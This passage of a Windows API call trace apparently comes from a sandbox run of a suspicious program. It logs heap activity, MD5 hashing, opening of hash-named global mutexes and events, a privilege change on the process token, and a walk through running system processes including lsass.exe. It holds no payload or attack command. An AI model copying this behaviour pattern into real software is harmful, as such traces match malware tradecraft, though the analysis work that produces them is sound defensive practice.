(HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7cab0 [0033.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7caf8 [0033.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7cb40 [0033.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7cb88 [0033.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7cbd0 [0033.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf886a8 [0033.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf886f0 [0033.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88738 [0033.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88780 [0033.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf887c8 [0033.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88810 [0033.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88858 [0033.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf888a0 [0033.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf888e8 [0033.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88930 [0033.889] CryptDestroyHash (hHash=0x603778) returned 1 [0033.889] CryptReleaseContext (hProv=0x60b478, dwFlags=0x0) returned 1 [0033.889] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c9d8) returned 1 [0033.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c9d8 [0033.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88978 [0033.889] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c9d8) returned 1 [0033.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c9d8 [0033.889] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c9d8) returned 1 [0033.889] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88978) returned 1 [0033.889] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7ca20) returned 1 [0033.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7ca20 [0033.889] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x13c [0033.889] GetLastError () returned 0x0 [0033.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c9d8 [0033.889] CryptAcquireContextW (in: phProv=0x174fda0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174fda0*=0x60b478) returned 1 [0033.890] CryptCreateHash (in: hProv=0x60b478, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x174fda0 | out: phHash=0x174fda0) returned 1 [0033.890] CryptHashData (hHash=0x603778, pbData=0xf7c240, dwDataLen=0xb, dwFlags=0x0) returned 1 [0033.890] CryptGetHashParam (in: hHash=0x603778, dwParam=0x4, pbData=0x174fda4, pdwDataLen=0x174fdb0, dwFlags=0x0 | out: pbData=0x174fda4, pdwDataLen=0x174fdb0) returned 1 [0033.890] CryptGetHashParam (in: hHash=0x603778, dwParam=0x2, pbData=0xf7c9d8, pdwDataLen=0x174fda4, dwFlags=0x0 | out: pbData=0xf7c9d8, pdwDataLen=0x174fda4) returned 1 [0033.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88978 [0033.890] CryptDestroyHash (hHash=0x603778) returned 1 [0033.890] CryptReleaseContext (hProv=0x60b478, dwFlags=0x0) returned 1 [0033.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c9d8) returned 1 [0033.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c9d8 [0033.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf889c0 [0033.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c9d8) returned 1 [0033.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c9d8 [0033.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c9d8) returned 1 [0033.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf889c0) returned 1 [0033.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88978) returned 1 [0033.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88978 [0033.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf889c0 [0033.890] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0033.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf889c0) returned 1 [0033.890] GetLastError () returned 0x5 [0033.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf889c0 [0033.890] OpenMutexA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0033.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf889c0) returned 1 [0033.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf889c0 [0033.890] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x140 [0033.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf889c0) returned 1 [0033.891] SetEvent (hEvent=0x13c) returned 1 [0033.891] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0xffffffff) returned 0x0 [0033.891] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf889c0 [0033.892] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x174fbf4 | out: TokenHandle=0x174fbf4*=0x144) returned 0x0 [0033.892] NtAdjustPrivilegesToken (in: TokenHandle=0x144, DisableAllPrivileges=0, NewState=0x174fbf8, BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 0x0 [0033.892] NtClose (Handle=0x144) returned 0x0 [0033.892] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x174fbf4 | out: TokenHandle=0x174fbf4*=0x144) returned 0x0 [0033.892] NtAdjustPrivilegesToken (in: TokenHandle=0x144, DisableAllPrivileges=0, NewState=0x174fbf8, BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 0x0 [0033.892] NtClose (Handle=0x144) returned 0x0 [0033.892] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88a08 [0033.892] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88a50 [0033.892] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88a98 [0033.892] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x0) returned 0xf7d278 [0033.892] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf82850 [0033.892] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xf82850, Length=0x4000, ResultLength=0x174fb88 | out: SystemInformation=0xf82850, ResultLength=0x174fb88*=0x11150) returned 0xc0000004 [0033.895] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x11180) returned 0xf89690 [0033.896] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf82850) returned 1 [0033.896] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xf89690, Length=0x11150, ResultLength=0x174fb88 | out: SystemInformation=0xf89690, ResultLength=0x174fb88*=0xd4e0) returned 0x0 [0033.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x58) returned 0xf7dd90 [0033.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7e840 [0033.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88ae0 [0033.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smss.exe", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0033.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88b28 [0033.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smss.exe", cchWideChar=8, lpMultiByteStr=0xf88b28, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="smss.exe", lpUsedDefaultChar=0x0) returned 8 [0033.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88b70 [0033.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88b28) returned 1 [0033.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88b70) returned 1 [0033.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88b70 [0033.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88b70) returned 1 [0033.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88b70 [0033.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x58) returned 0xf9a818 [0033.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7e8c8 [0033.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88b28 [0033.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csrss.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0033.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88bb8 [0033.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csrss.exe", cchWideChar=9, lpMultiByteStr=0xf88bb8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csrss.exe", lpUsedDefaultChar=0x0) returned 9 [0033.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88c00 [0033.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88bb8) returned 1 [0033.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88c00) returned 1 [0033.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88c00 [0033.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88c00) returned 1 [0033.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x58) returned 0xf9a878 [0033.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7e950 [0033.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88c00 [0033.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wininit.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88bb8 [0033.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wininit.exe", cchWideChar=11, lpMultiByteStr=0xf88bb8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wininit.exe", lpUsedDefaultChar=0x0) returned 11 [0033.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88c48 [0033.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88bb8) returned 1 [0033.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88c48) returned 1 [0033.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88c48 [0033.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88c48) returned 1 [0033.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x58) returned 0xf9a8d8 [0033.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7e9d8 [0033.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88c48 [0033.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csrss.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0033.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88bb8 [0033.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csrss.exe", cchWideChar=9, lpMultiByteStr=0xf88bb8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csrss.exe", lpUsedDefaultChar=0x0) returned 9 [0033.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88c90 [0033.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88bb8) returned 1 [0033.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88c90) returned 1 [0033.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88c90 [0033.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88c90) returned 1 [0033.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x58) returned 0xf9a938 [0033.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7ea60 [0033.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88c90 [0033.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winlogon.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88bb8 [0033.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winlogon.exe", cchWideChar=12, lpMultiByteStr=0xf88bb8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="winlogon.exe", lpUsedDefaultChar=0x0) returned 12 [0033.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88cd8 [0033.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88bb8) returned 1 [0033.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88cd8) returned 1 [0033.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88cd8 [0033.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88cd8) returned 1 [0033.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x58) returned 0xf9a998 [0033.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7eae8 [0033.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88cd8 [0033.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88bb8 [0033.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services.exe", cchWideChar=12, lpMultiByteStr=0xf88bb8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services.exe", lpUsedDefaultChar=0x0) returned 12 [0033.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88d20 [0033.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88bb8) returned 1 [0033.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88d20) returned 1 [0033.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88d20 [0033.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88d20) returned 1 [0033.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x58) returned 0xf9a9f8 [0033.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7eb70 [0033.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88d20 [0033.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0033.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88bb8 [0033.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0xf88bb8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsass.exe", lpUsedDefaultChar=0x0) returned 9 [0033.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88d68 [0033.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88bb8) returned 1 [0033.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88d68) returned 1 [0033.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88d68 [0033.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88d68) returned 1 [0033.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x58) returned 0xf9aa58 [0033.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7ebf8 [0033.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88d68 [0033.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsm.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0033.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88bb8 [0033.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsm.exe", cchWideChar=7, lpMultiByteStr=0xf88bb8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsm.exe", lpUsedDefaultChar=0x0) returned 7 [0033.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88db0 [0033.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88bb8) returned 1 [0033.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88db0) returned 1 [0033.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88db0 [0033.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88db0) returned 1 [0033.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x58) returned 0xf9aab8 [0033.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7ec80 [0033.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88db0 [0033.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88bb8 [0033.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0xf88bb8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0033.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88df8 [0033.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88bb8) returned 1 [0033.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88df8) returned 1 [0033.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88df8 [0033.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88df8) returned 1 [0033.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x58) returned 0xf9ab18 [0033.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7ed08 [0033.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88df8 [0033.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88bb8 [0033.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0xf88bb8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0033.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88e40 [0033.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88bb8) returned 1 [0033.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88e40) returned 1 [0033.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88e40 [0033.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88e40) returned 1 [0033.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x58) returned 0xf9ab78 [0033.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7ed90 [0033.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88e40 [0033.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88bb8 [0033.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0xf88bb8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0033.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88e88 [0033.901] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88bb8) returned 1 [0033.901] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88e88) returned 1 [0033.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88e88 [0033.901] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88e88) returned 1 [0033.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x58) returned 0xf9abd8 [0033.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7ee18 [0033.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88e88 [0033.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88bb8 [0033.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0xf88bb8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0033.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88ed0 [0033.901] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88bb8) returned 1 [0033.901] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88ed0) returned 1 [0033.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88ed0 [0033.901] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88ed0) returned 1 [0033.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x58) returned 0xf9ac38 [0033.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7eea0 [0033.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88ed0 [0033.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88bb8 [0033.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0xf88bb8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0033.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88f18 [0033.901] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88bb8) returned 1 [0033.901] RtlFreeHeap 